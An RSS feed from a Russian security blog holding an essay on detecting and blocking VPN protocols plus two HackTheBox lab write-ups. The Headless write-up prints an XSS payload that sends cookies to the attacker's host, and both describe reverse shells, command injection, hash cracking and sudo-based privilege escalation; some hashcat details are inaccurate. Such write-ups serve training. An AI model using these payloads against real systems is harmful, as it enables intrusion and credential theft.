<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>zluukka</title><generator>teletype.in</generator><description><![CDATA[zluukka]]></description><link>https://teletype.in/@zluukka?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=zluukka</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/zluukka?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/zluukka?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Tue, 15 Sep 2026 08:49:15 GMT</pubDate><lastBuildDate>Tue, 15 Sep 2026 08:49:15 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@zluukka/ggPlDVf2qKe</guid><link>https://teletype.in/@zluukka/ggPlDVf2qKe?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=zluukka</link><comments>https://teletype.in/@zluukka/ggPlDVf2qKe?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=zluukka#comments</comments><dc:creator>zluukka</dc:creator><title>Массовая блокировка VPN. Как с этим бороться и можно ли оставаться анонимным в сети?</title><pubDate>Sat, 06 Jul 2024 13:08:36 GMT</pubDate><description><![CDATA[Disclaimer: Эта статья носит исключительно развлекательный характер. Все весь текст является вымыслом, в нем нет ни слова правды и все это преследует лишь одну цель – поднять настроение, в том числе лично мне.]]></description><content:encoded><![CDATA[
  <p id="0KLH"><em>Disclaimer: Эта статья носит исключительно развлекательный характер. Весь текст является вымыслом, в нем нет ни слова правды и все это преследует лишь одну цель – поднять настроение, в том числе лично мне.</em></p>
  <p id="0KLH">Приветствую вас, дорогие читатели, сегодня рассмотрим с вами тему анонимности в нашей любимой глобальной паутине под названием интернет.</p>
  <p id="0KLH">Напомню вам , что с 1 марта 2024 года в России действует запрет на распространение информации, которая рекламирует или популяризирует средства обхода блокировок в виде VPN-сервисов. И буквально недавно Роскомнадзор добился блокировки 25 приложений VPN-сервисов в App Store.</p>
  <p id="0KLH">Развитие тенденции блокировок VPN-сервисов в нынешних реалиях ничего кроме негатива лично у меня не вызывает. Мы сейчас не говорим , про грубое нарушение законодательства , покупку наркотиков в даркнете, взлом различных площадок и т.д. Речь идет про обыденные сервисы для &quot;простых&quot; пользователей.<br />Представьте ситуацию, что вы хотите оплатить подписку на нетфликс или зайти в инстаграмм. Именно для этого и нужны нам эти &quot;опасные&quot; приложения.<br />Если так и продолжится , то обычным пользователям нужно будет нормально так заморочиться , чтобы получить доступ к привычным сайтам.</p>
  <p id="0KLH">Сейчас думаю многие скажут , что есть такие решения как OpenVPN и WireGuard. Но есть одно &quot;но&quot; ... WireGuard - это протокол, который всеми своими пакетами просто кричит &quot;Смотрите все, смотрите, я - VPN&quot;. И это, в принципе, не удивительно, потому что авторы на сайте проекта прямым текстом пишут, что обфускация не входила и не будет входить в их цели и планы.<br />Аналогично с OpenVPN. Ведь наши братья китайцы научились выявлять и банить на своем великом китайском фаерволе. <br /><strong>1:0 в пользу цензоров. </strong></p>
  <p id="2H5S"><strong><br />Хорошо, а что если вместо палевных протоколов мы будем использовать TLS-VPN? Например такие решения как: SSTP, AnyConnect/OpenConnect? </strong>Трафик в них ходит внутри TLS, начальная установка соединения производится по HTTP - что должно быть совсем никак неотличимо от обычного подключения к любому обычному сайту. <br />Согласно статье на сайте <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sstp/7e5b2134-b4bf-435a-85bf-bfe0313fd889" target="_blank">microsoft </a>запрос, отправляемый на сервер SSTP, использует HTTP-команду SSTP_DUPLEX_POST. А это значит , что цензор может отправить на наш сервер следующий HTTP-запроc {наш URL}/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75} и сервер в респонде с радостью сообщит , что он MS SSTP VPN.</p>
  <p id="5vnk"><strong>AnyConnect/OpenConnect</strong> при обращении по <em>/</em> или по <em>/auth</em> ответят очень характерной XML&#x27;кой. Избавиться от этого не получится - это определено в протоколах, и именно через эту логику работают VPN-клиенты.<br /><strong>2:0 в пользу цензоров.</strong></p>
  <p id="0i6y"><strong>Хорошо, мы имеем TLS соединение, но ведь можно поставить реверс-прокси и фильтровать запросы по SNI (server name identification). Все наши подключения с определенным доменом будем отправлять к нам на VPN-сервер, а все остальные - на безобидный сайт с котиками и собачками. Или мы можем даже попробовать спрятаться за какой-нибудь CDN(Content Delivery Network) - не забанят же они весь CDN, правда, и наш трафик из общего трафика ко всей CDN выцепить не смогут, да?</strong></p>
  <p id="C74F">В нынешних версиях TLS поле SNI не шифруется, соответственно цензоры легко его подсмотрят и сделают запрос именно с тем именем домена, что надо.</p>
  <p id="LsU8">Но ведь есть расширение<strong> Encrypted Client Hello (ECH, ранее изветсное как eSNI).</strong> На него можно не рассчитывать: во-первых, оно находится еще в состоянии Draft и неизвестно когда будет принято и повсеместно использоваться, а во-вторых, цензоры могут взять и просто-напросто заблокировать все соединения TLSv1.3 с ECH, как это сделали в Китае.<br /><strong>3:0 в пользу цензоров. </strong></p>
  <p id="yy0a"><strong>Хорошо, допустим у нас что-то более редкое и незаметное. Казалось бы, все хорошо?</strong><br />Тут стоит вспомнить про &quot;пакет Яровой&quot;? Тот самый, который требует, чтобы интернет-сервисы сохраняли все метаданные сессий, а интернет-провайдеры так вообще записывали дампы трафика своих абонентов? <br />Некоторые люди смеялись надо цензорами - мол &quot;Ну и тупые же они, что им дадут гигабайты зашифрованных данных, которые они все равно не расшифруют?&quot;</p>
  <p id="gyWr">А вот что...</p>
  <p id="ikbw">Пользуетесь вы, допустим, своим туннельчиком, смотрите всякие там запрещенные сайты. А потом - клик! - и случайно заходите через свой туннель на какой-нибудь отечественный сайт или сервис, замеченный в сотрудничестве с государством - условные там VK/Mail.ru/Яндекс или еще что-нибудь. Или на каком-нибудь безобидном сайте попадается виджет, баннер или счетчик от них же. Или кто-нибудь в комментарии вбросит ссылку на какой-нибудь сайт-honeypot, косящий под новостной ресурс, и вы на нее нажмете.</p>
  <p id="rDUF">И вот тут произойдет самое интересное. Что внутри TLS, что внутри SSH, что внутри OpenVPN+xor, данные передаются в зашифрованном виде, и их не расшифровать. Но вот &quot;внешняя форма&quot; (размеры пакетов и тайминги между ними) у зашифрованных данных точно такая же, как и у нешифрованных. Цензоры видят, что от абонента к какому-то неизвестному серверу и обратно ходит трафик, а поток со стороны какого-нибудь подконтрольного сервиса видит, что с того же IP-адреса, что у &quot;неизвестного сервера&quot;, туда прилетают какие-то запросы и улетают ответы, и - вот интересно - размеры пакетов и временные моменты практически полностью совпадают. Что весьма характерно говорит о том, что <em>у нас тут прокси, возможно VPN, Андрюха, по коням!</em></p>
  <p id="HMqY">И да, если вы поступите мудрее и у вашего сервера будет два IP-адреса, один на вход, а другой на выход, то сопоставить ваш &quot;вход&quot; и &quot;выход&quot; по адресам не получится, но по &quot;форме&quot; переданных данных, хоть и ощутимо сложнее, но при желании по прежнему можно.<br /><strong>4:0 в пользу цензоров.</strong></p>
  <p id="9gew">Подводя итог , можно сказать что обход блокировок<em> - </em>это постоянная борьба щита и меча, и одновременно игра в кошки-мышки<em>: </em><s>иногда ты ешь медведя, иногда медведь ест тебя</s> иногда ты догоняющий, иногда догоняемый.</p>
  <p id="NwZC">В любом случае рано или поздно, не имея возможности противостоять подобному свободолюбию технически, государство может начать противостоять административно , причем так, что с вашей стороны, в свою очередь, технически противостоять может уже не получиться.</p>
  <p id="NwZC">Всем мира, любви и добра. See you soon.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@zluukka/hVZpRjF7tYe</guid><link>https://teletype.in/@zluukka/hVZpRjF7tYe?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=zluukka</link><comments>https://teletype.in/@zluukka/hVZpRjF7tYe?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=zluukka#comments</comments><dc:creator>zluukka</dc:creator><title>(Write-up) Ломаем машину &quot;Perfection&quot; на платформе HackTheBox</title><pubDate>Sat, 22 Jun 2024 19:39:00 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/df/7a/df7ad9dd-2630-4dec-b67c-ef197cdc134e.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/15/1a/151a63e0-2321-4349-824b-23915dd1e596.png"></img>Доброго времени суток , дорогие читатели! Сегодня мы с вами окунемся в дебри SSTI , которая поможет нам получить реверс-шелл, а также побрутим хэш c помощью утилиты hashcat]]></description><content:encoded><![CDATA[
  <p id="t6co">Доброго времени суток , дорогие читатели! Сегодня мы с вами окунемся в дебри SSTI , которая поможет нам получить реверс-шелл, а также побрутим хэш c помощью утилиты <strong>hashcat</strong> </p>
  <figure id="kb5Y" class="m_original">
    <img src="https://img2.teletype.in/files/15/1a/151a63e0-2321-4349-824b-23915dd1e596.png" width="338" />
  </figure>
  <h2 id="N2bn">Разведка</h2>
  <p id="lbCe">Первым делом просканируем целовой хост на открытые порты:</p>
  <figure id="v0Dj" class="m_original" data-caption-align="center">
    <img src="https://img4.teletype.in/files/79/e9/79e9dce7-b8e3-4552-aa20-075cacbef8a3.png" width="649" />
    <figcaption>Сканирование хоста с помощью утилиты &quot;nmap&quot;</figcaption>
  </figure>
  <p id="MBeT">Ключ <strong>-А</strong> позволяет нам детекить операционную систему, версию, различные сценарии</p>
  <p id="x5wq">Далее пофаззим директории с помощью инструмента <strong>dirsearch:</strong></p>
  <figure id="d16X" class="m_original" data-caption-align="center">
    <img src="https://img3.teletype.in/files/61/ea/61eae0a3-5f80-489e-9965-8c1d0423bbf8.png" width="683" />
    <figcaption>Фаззинг директорий с помощью инструмента dirsearch</figcaption>
  </figure>
  <p id="4wVN">Ничего интересного фаззинг нам не предоставил, перейдем в каталог /about:<br /></p>
  <figure id="zezE" class="m_original">
    <img src="https://img4.teletype.in/files/35/8e/358eb3ea-b3cc-4d7c-8f3f-c4bd745ac95a.png" width="640" />
  </figure>
  <p id="5MfC">Изучив сайт , перейдем в каталог /<strong>weight-grade-calc </strong>и увидим следующую картину:</p>
  <figure id="reki" class="m_original">
    <img src="https://img2.teletype.in/files/9b/17/9b179bb1-4451-4318-bdf0-7274d37f0cff.png" width="510" />
  </figure>
  <p id="rUC1">Перед нами веб тулза , которая позволяет рассчитать вес оценок для различных предметов</p>
  <p id="6SNe">Используя BurpSuite получим информацию , что сервер поднят на WEBrick 1.7.0, который, в свою очередь, основан на Ruby 3.0.2. Это все, что нам нужно знать, чтобы начать эксплуатацию.<br /></p>
  <figure id="ky44" class="m_original">
    <img src="https://img3.teletype.in/files/6d/b5/6db5b66d-5aa5-45fb-95b6-73bbf3a88718.png" width="654" />
  </figure>
  <h2 id="Wb0T"><strong>Получаем User флаг</strong></h2>
  <p id="ayqP">Изучая информацию про WebRick и Ruby, я наткнулся на то, что существует 3 шаблона Ruby: ERB, HAML и Slim, из которых ERB является более распространенным, так как он устанавливается по умолчанию. В поисках полезных данных о Ruby ERB exploit наткнулся на этот <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#erb-ruby" target="_blank">ресурс</a>:<br /></p>
  <figure id="Z1EF" class="m_original">
    <img src="https://img4.teletype.in/files/b6/a0/b6a01ba1-cca5-4cb8-83c6-ecfc1f1d2d0d.png" width="747" />
  </figure>
  <p id="oKWf">На скриншоте выше представлен перечень полезных нагрузок для проверки на наличие уязвимости <strong>SSTI</strong>.</p>
  <p id="TSmX"><br /><strong>SSTI (Server Side Template Injection)</strong> - это уявимость, которая может возникнуть в веб-приложениях, когда злоумышленник может внедрить вредоносный код в шаблон на стороне сервера.</p>
  <p id="gpk5">Под шаблоном на стороне сервера подразумевается файл или фрагмент кода, который определяет, как веб-приложение будет отображать данные пользователям. Обычно он выполняется на стороне сервера и генерирует динамический контент, который отправляется в браузер пользователя. При атаке SSTI злоумышленник может внедрить свой собственный код в шаблон на стороне сервера, что позволяет ему выполнять произвольный код на сервере, манипулировать данными или получать доступ к конфиденциальной информации.</p>
  <pre id="wdpX">Пример вредносного HTTP-запроса злоумышленника:

GET /search?q={{import os; os.system(&#x27;/bin/bash&#x27;)}} HTTP/1.1
Host: example.com</pre>
  <p id="zymw">Подтвердим нашу теорию про наличие SSTI на стороне сервера, перехватив POST HTTP-запрос Бурпом:<br /></p>
  <figure id="wD27" class="m_original">
    <img src="https://img3.teletype.in/files/a2/23/a223a604-6790-437b-887d-c41f98327c7a.png" width="974" />
  </figure>
  <p id="j03T">Можно заметить , что присутсвует базовая фильтрация ввода, а что если немного поменять полезную нагрузку? Попробовав много вариантов, я нашел обход фильтрации:<br /></p>
  <figure id="jqay" class="m_original">
    <img src="https://img1.teletype.in/files/80/78/8078cc5f-7e77-4abc-b689-7b1a6081b12e.png" width="974" />
  </figure>
  <p id="GTLa">Теперь дело за малым , начнем принимать соединения на наш кастомный порт с помощью <strong>netcat :<br /></strong></p>
  <figure id="qpX2" class="m_original">
    <img src="https://img2.teletype.in/files/de/cf/decf6447-e6be-418b-8bd1-bc597468e2e5.png" width="719" />
  </figure>
  <p id="UKq2">И отправим POST запрос, который позволит получить реверс шелл на нашу машину:<br /></p>
  <figure id="Nb8r" class="m_original">
    <img src="https://img3.teletype.in/files/65/0f/650fc57e-4018-4cf6-a726-39a8d41b6444.png" width="974" />
  </figure>
  <figure id="1JJU" class="m_original">
    <img src="https://img2.teletype.in/files/98/74/9874423d-09d5-48b0-addc-84be4276fc10.png" width="974" />
  </figure>
  <p id="YSrN">Бинго! Мы внутри. Теперь поизучаем каталоги , для получения нашего юзер флага:<br /></p>
  <figure id="rIIq" class="m_original">
    <img src="https://img2.teletype.in/files/d9/ce/d9ce75e4-13a2-48ae-bc96-d28676654a4d.png" width="684" />
  </figure>
  <h2 id="huOP"><strong>Эскалация привилегий</strong></h2>
  <p id="txML">В результате изучения директорий я наткнулся на каталог <strong>/Migration</strong>, в которой лежал файл с кредами от базы данных:</p>
  <figure id="ClQT" class="m_original">
    <img src="https://img1.teletype.in/files/c5/ad/c5ad82cd-8a78-4b3f-8f40-c58126e8f07f.png" width="666" />
  </figure>
  <p id="HVoO">Проанализиурем наш хэш с помощью <strong>hashid</strong>:<br /></p>
  <figure id="ckPd" class="m_original">
    <img src="https://img3.teletype.in/files/27/39/27397a46-ae41-4a2d-bd7b-2c3b8ae94f0e.png" width="674" />
  </figure>
  <p id="l6iQ">При дальнейшем изучении каталогов я нашел письмо со следующим содержанием:</p>
  <pre id="7hCG">&gt; cat /var/mail/susan

Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials (&#x27;our&#x27; including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student&#x27;</pre>
  <p id="Tjns"></p>
  <p id="wtgR">Данное письмо содержит шаблон создания пароля . Поскольку у нас также есть хэш пароля, мы можем провести атаку по хэш-маске.</p>
  <p id="3zjY"><br /><strong>hashcat -m 1400 hash.txt -a 3 -d 1 susan_nasus_?d?d?d?d?d?d?d?d?d</strong></p>
  <p id="d4nB"><strong>Что делает каждая часть:</strong></p>
  <ul id="sRD0">
    <li id="ryU8"><strong>-m 1400:</strong> Указывает Hashcat использовать режим 1400, который соответствует алгоритму хеширования SHA-512/256, используемому bcrypt.</li>
    <li id="NIWJ"><strong>hash.txt:</strong> Это файл, содержащий хешированные пароли</li>
    <li id="LhYp"><strong>-a 3:</strong> Устанавливает тип атаки на перебор по маске (атака с использованием настраиваемой маски символов).</li>
    <li id="oo5x"><strong>-d 1:</strong> Указывает Hashcat использовать только одно ядро (GPU) в нашей системе. </li>
    <li id="u5Ri"><strong>susan_nasus_?d?d?d?d?d?d?d?d?d?d:</strong> Это маска, определяющая формат пароля, который мы будем брутить. </li>
    <ul id="AVNO">
      <li id="8UVg"><strong>susan_nasus_</strong> - Фиксированная часть пароля.</li>
      <li id="5bE0"><strong>?d</strong> - Представляет одну цифру (0-9). В маске 11 таких символов, что означает, что Hashcat будет проверять все возможные комбинации 11 цифр после &quot;susan_nasus_&quot;.</li>
    </ul>
  </ul>
  <p id="qQbm">В результате получаем следующее:<br /></p>
  <figure id="lmKe" class="m_original">
    <img src="https://img2.teletype.in/files/55/95/5595206f-5bfc-4b07-a0cb-e6b2a372a33c.png" width="974" />
  </figure>
  <h2 id="Mav1">Получаем ROOT флаг</h2>
  <p id="6O7m">Теперь у нас есть пароль, давайте подключимся по SSH к этой учетке и проверим ее права в системе:</p>
  <figure id="xZkQ" class="m_original">
    <img src="https://img4.teletype.in/files/b8/44/b844d789-0486-4b59-8420-a876a23c359a.png" />
  </figure>
  <p id="Cb7R">Отлично, запустим нашу root-оболочку</p>
  <pre id="Cs1L">&gt; sudo su</pre>
  <p id="nyyT">И заберем наш root флаг:<br /></p>
  <figure id="q8zN" class="m_original">
    <img src="https://img1.teletype.in/files/0d/f2/0df29ed4-ca1b-4da3-a3e6-6209165e71e9.png" width="375" />
  </figure>
  <p id="JoWx" data-align="center">Машина взломана!<br /></p>
  <figure id="Odtu" class="m_original">
    <img src="https://img1.teletype.in/files/0e/17/0e1736df-dfbc-4238-b8a5-c35a3ccb737a.png" width="541" />
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@zluukka/headless</guid><link>https://teletype.in/@zluukka/headless?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=zluukka</link><comments>https://teletype.in/@zluukka/headless?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=zluukka#comments</comments><dc:creator>zluukka</dc:creator><title>Write-up на машину &quot;Headless&quot; на платформе HackTheBox by zluukka</title><pubDate>Tue, 02 Apr 2024 17:42:47 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/aa/2e/aa2e9af7-2749-479d-8169-dfa0ac0c68bc.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/e0/aa/e0aa8fbd-5636-4c36-9cdc-d619d071ca66.png"></img>Доброго времени суток, дорогие читатели. На прошлых выходных взломал интересную машинку «Headless». Сегодня мы с вами пошагово разберем процесс получения первоначального доступа и последующей эскалацией привилегий. И так поехали!]]></description><content:encoded><![CDATA[
  <p id="z0EY"><strong>Доброго времени суток, дорогие читатели. На прошлых выходных взломал интересную машинку «Headless». Сегодня мы с вами пошагово разберем процесс получения первоначального доступа и последующей эскалацией привилегий. И так поехали!</strong></p>
  <p id="hGiG">Проверим доступность нашей тачки с помощью утилиты <code>ping:<br /></code></p>
  <figure id="Yu0q" class="m_original">
    <img src="https://img3.teletype.in/files/e0/aa/e0aa8fbd-5636-4c36-9cdc-d619d071ca66.png" width="733" />
  </figure>
  <p id="qB0F">Также добавим адрес данной машины в файл <code>/etc/hosts</code> , чтобы к машинке можно было обращаться по домену:</p>
  <figure id="knll" class="m_original">
    <img src="https://img4.teletype.in/files/bb/99/bb997a72-fe95-4288-9db5-b4f9e6c00dc5.png" width="734" />
  </figure>
  <h2 id="7ZZb">Разведка:</h2>
  <p id="IthG">По станадрту для разведки используем утилиту для сканирования портов <code>nmap:</code></p>
  <figure id="ErBP" class="m_original">
    <img src="https://img4.teletype.in/files/f3/a4/f3a43736-b08c-44c5-ba6b-184f60b0edc5.png" width="739" />
    <figcaption>Результаты сканирования нашего хоста</figcaption>
  </figure>
  <p id="Io9B">Как мы можем заметить у нас открыты два порта: это 22 , на котором висит ssh-service и 5000/tcp . Можно подметить интересный HTTP-Request, в котором у нас есть HTML-документ. Давайте проверим данный порт в вэбчике:<br /></p>
  <figure id="MP4V" class="m_original">
    <img src="https://img1.teletype.in/files/07/7c/077c433b-9c9a-4eed-a68b-e12487b9a481.png" width="739" />
  </figure>
  <p id="N3F2">Пока ничего инетересного, попробуем пофаззить каталоги с помощью утилиты <code>dirsearch:<br /></code></p>
  <figure id="BkFg" class="m_original">
    <img src="https://img4.teletype.in/files/7d/62/7d62535f-5401-4a59-9bb1-a639b298f6fa.png" width="749" />
  </figure>
  <p id="Nb5k">Фаззинг директорий выдал нам 2 рабочие, причем каталог /dashboard отвечает нам кодом <code>401 HTTP. </code>Код ответа на статус ошибки<code> HTTP <strong>401 Unauthorized</strong></code> клиента указывает, что запрос не был применён, поскольку ему не хватает действительных учётных данных для целевого ресурса. </p>
  <p id="2SlS"></p>
  <p id="KWEI">Путь /support ведет нас на следующую страницу, сразу приходит идея проверить поля на наличие уязвимости типа <code>Cross-Site Scripting</code> ( XSS в простонародье ):</p>
  <figure id="TpmN" class="m_original">
    <img src="https://img4.teletype.in/files/71/4f/714ff7f6-9599-45a2-b8b5-a8518fce27c5.png" width="733" />
  </figure>
  <p id="S34S">В результате получаем вот такой ответ:</p>
  <figure id="gk7g" class="m_original">
    <img src="https://img2.teletype.in/files/d8/cf/d8cf3ee6-7087-49b6-80f5-727b369c5979.png" width="729" />
  </figure>
  <p id="ZuQ3">Сайт уведомляет нас о попытке прокинуть полезную нагрузку в форму. Изучив <code>HTTP-Request</code>можно обратить внимание на поле <code>Cookie</code>. Выстраивая цепочку связей , мы можем предположить , что нам нужны куки админа , чтобы получить доступ к каталогу <code>/dashboard</code>.</p>
  <p id="1tl4"></p>
  <p id="evFe">Используем Burp Suite в качестве прокси-сервера, чтобы можно было подменять наши параметры во время <code>POST</code> запросов. Мы также помним , что сайт потенциально уязвим под <code>XSS</code>,а значит поспамим различными полезными нагрузками в загаловке <code>User-Agent</code> и в полях запроса :</p>
  <figure id="8jNl" class="m_original">
    <img src="https://img2.teletype.in/files/92/2c/922ca885-76e7-4c83-adb5-52ea488497ea.png" width="782" />
  </figure>
  <p id="t8Tp">Наша нагрузка <code>&lt;img src=x onerror=fetch(&#x27;<a href="http://10.10.14.101/?c=" target="_blank">http://10.10.14.101/?c=</a>&#x27;+document.cookie);</code> представляет из себя JavaScript код, который отрабатывает следующим образом:<br />1) Тэг <code>&lt;img src=x&gt;</code> содержит ссылку на неизвестное изображение с названием <code>x</code></p>
  <p id="qHUJ">2) Если наше изображение не найдено, то отрабатывает атрибут <code>onerror=fetch(...)</code>, где<code> fetch </code>- это метод, который позволяет отправить серверу сетевой запрос. </p>
  <p id="KBEv"></p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="uDxA">Базовый синтаксис:</p>
    <pre id="BHdE">let promise = fetch(url, [options])</pre>
    <ul id="YUOA">
      <li id="rNXj"><strong><code>url</code></strong> – URL для отправки запроса.</li>
      <li id="1Q64"><strong><code>options</code></strong> – дополнительные параметры: метод, заголовки и так далее.</li>
    </ul>
  </section>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="dVoX">Параметр <code>document.cookie </code>- это свойство, которое позволяет нам считать куки из браузера.<br />Значение <code>document.cookie</code> состоит из пар <code>ключ=значение</code>, разделённых <code>;</code>. Каждая пара представляет собой отдельное куки.</p>
  </section>
  <p id="Nj0K">И самое главное! Чтобы получить <code>HTTP-Response </code>от сервера, мы должны его поднять на нашей машине:<br /></p>
  <figure id="O8ci" class="m_original">
    <img src="https://img4.teletype.in/files/fd/00/fd00f122-eab3-4fe7-b4da-ef02ac1424c3.png" width="689" />
    <figcaption>localhost.server , доступный по порту 80</figcaption>
  </figure>
  <p id="qoZx">Ждем пару минут и начинаем получать цепочку ответов на наш с вами сервер:</p>
  <figure id="8rJf" class="m_original">
    <img src="https://img2.teletype.in/files/1f/46/1f46a1ad-76ac-499b-9496-9e314c5a4faa.png" width="693" />
  </figure>
  <p id="8lBJ">Скопируем куки , которые мы получили и используем Burp Suite чтобы прокинуть запрос с обновленными данными:</p>
  <figure id="VYoC" class="m_original">
    <img src="https://img2.teletype.in/files/d0/ce/d0ce4ded-d88d-4b12-bddb-a64ba781a790.png" width="722" />
  </figure>
  <p id="Bn0f">Получаем доступ к каталогу <code>/dashboard:</code></p>
  <figure id="4bXL" class="m_original">
    <img src="https://img1.teletype.in/files/0b/b5/0bb568e0-532b-4cf0-86bd-2ccf23a02ba4.png" width="727" />
  </figure>
  <p id="rMbh">Опять же воспользуемся бурпом, чтобы словить<code> POST</code> запрос и поискать другие уязвимости:</p>
  <figure id="pgFY" class="m_original">
    <img src="https://img2.teletype.in/files/12/2d/122df2e9-d94f-4475-8226-e0a135bae559.png" width="730" />
  </figure>
  <p id="KhSx">Перед нами стандартная CMDi ( OS Command Injection ). Данная уязвимость позволяет выполнять  произвольные системные команды на внутреннем сервере. Воспользуемся этим и &quot;заставим&quot; сервер скушать заранее подготовленный нами reverse-shell код, который позволит нам получить доступ к системе:</p>
  <figure id="iMd6" class="m_original">
    <img src="https://img4.teletype.in/files/f9/88/f988d87d-e9f2-498a-a9b3-54561ed9e669.png" width="737" />
  </figure>
  <p id="WQhd">Начнем слушать на входящие соединения 1234 порт с помощью <code>netcat:</code></p>
  <figure id="nDXj" class="m_original">
    <img src="https://img4.teletype.in/files/bf/f7/bff712fb-4aa8-4878-be0b-54b7496e214f.png" width="528" />
  </figure>
  <p id="976v">И с помощью <code>curl скачаем наш скрипт и загрузим его в память:</code></p>
  <figure id="VNSe" class="m_original">
    <img src="https://img3.teletype.in/files/23/a7/23a74646-22e3-49d2-b977-f4f5538a810a.png" width="758" />
  </figure>
  <p id="LlJD">Мы помним ,что у нас уже запущен <code>web-server</code> на 80 порту, туда и прилетает наш <code>GET-запрос</code> на скачивание скрипта:</p>
  <figure id="zcMx" class="m_original">
    <img src="https://img4.teletype.in/files/bb/a7/bba73d20-8e9f-480d-a0c4-8037b8dec932.png" width="764" />
  </figure>
  <p id="uuTr">И ловим нашу обратную оболочку:</p>
  <figure id="wWJy" class="m_original">
    <img src="https://img3.teletype.in/files/29/51/29512ad9-9173-45f1-8f1d-ec9ac1d864f3.png" width="787" />
  </figure>
  <h2 id="EdQs">Эскалация привилегий:</h2>
  <p id="HelT">С помощью команды<code> sudo -l</code> посомотрим на права нашего юзера:</p>
  <figure id="vDXd" class="m_original">
    <img src="https://img3.teletype.in/files/62/22/62223496-8e63-4572-85c0-fdb63d40562a.png" width="792" />
  </figure>
  <p id="dQEi">Можно заметить что мы можем читать файл в директории /usr/bin/syscheck и вот его содержимое: <br /></p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="hHDH"><code>#!/bin/bash</code></p>
    <p id="J8cm"><code>if [ &quot;$EUID&quot; -ne 0 ]; then<br /> exit 1<br />fi</code></p>
    <p id="Qs5o"><code>last_modified_time=$(/usr/bin/find /boot -name &#x27;vmlinuz*&#x27; -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)<br />formatted_time=$(/usr/bin/date -d &quot;@$last_modified_time&quot; +&quot;%d/%m/%Y %H:%M&quot;)<br />/usr/bin/echo &quot;Last Kernel Modification Time: $formatted_time&quot;</code></p>
    <p id="Pnad"><code>disk_space=$(/usr/bin/df -h / | /usr/bin/awk &#x27;NR==2 {print $4}&#x27;)<br />/usr/bin/echo &quot;Available disk space: $disk_space&quot;</code></p>
    <p id="sgII"><code>load_average=$(/usr/bin/uptime | /usr/bin/awk -F&#x27;load average:&#x27; &#x27;{print $2}&#x27;)<br />/usr/bin/echo &quot;System load average: $load_average&quot;</code></p>
    <p id="KCb5"><code>if ! /usr/bin/pgrep -x &quot;initdb.sh&quot; &amp;&gt;/dev/null; then<br /> /usr/bin/echo &quot;Database service is not running. Starting it...&quot;<br /> ./initdb.sh 2&gt;/dev/null<br />else<br /> /usr/bin/echo &quot;Database service is running.&quot;<br />fi</code></p>
    <p id="PLvn"><code>exit 0</code></p>
  </section>
  <p id="99Zu"></p>
  <p id="pj7U">При проверке файла наиболее примечательной частью является попытка программы выполнить файл с именем <code>initdb.sh</code>. Поскольку для выполнения файла используется относительный путь, мы можем использовать эту возможность , чтобы  создать файл с таким именем в нашем текущем каталоге, что приведет к его выполнению с привилегиями sudo.</p>
  <figure id="VQ0Z" class="m_original">
    <img src="https://img2.teletype.in/files/d3/75/d375bbca-76c6-417d-a4d7-e1d56363b36e.png" width="799" />
  </figure>
  <p id="WIZZ">Идея заключается в том, чтобы установить бит SUID для двоичного файла <code>/bin/bash</code> и повысить наши привилегии с помощью этого. Запуская <code>/bin/bash -p</code>, когда в двоичном файле установлен бит SUID, опция <code>-p</code> позволяет оболочке <code>bash </code>по умолчанию запускаться с привилегиями SUID.</p>
  <p id="tQGz">Теперь запустим наш скрипт от имени <code>sudo </code>и подтвердим нашу теорию:</p>
  <figure id="G3N6" class="m_original">
    <img src="https://img3.teletype.in/files/66/9d/669def1f-c673-4ca6-b92a-cd09dde2b3a3.png" width="806" />
  </figure>
  <p id="cYhC">Вот и все , машина была взломана. Надеюсь вам понравился данный write-up. Жду ваших реакций и всем пока :)</p>
  <figure id="5n2U" class="m_original">
    <img src="https://img1.teletype.in/files/05/ea/05ea816f-97d9-4dc7-84f2-9d168c24ac30.png" width="693" />
  </figure>

]]></content:encoded></item></channel></rss>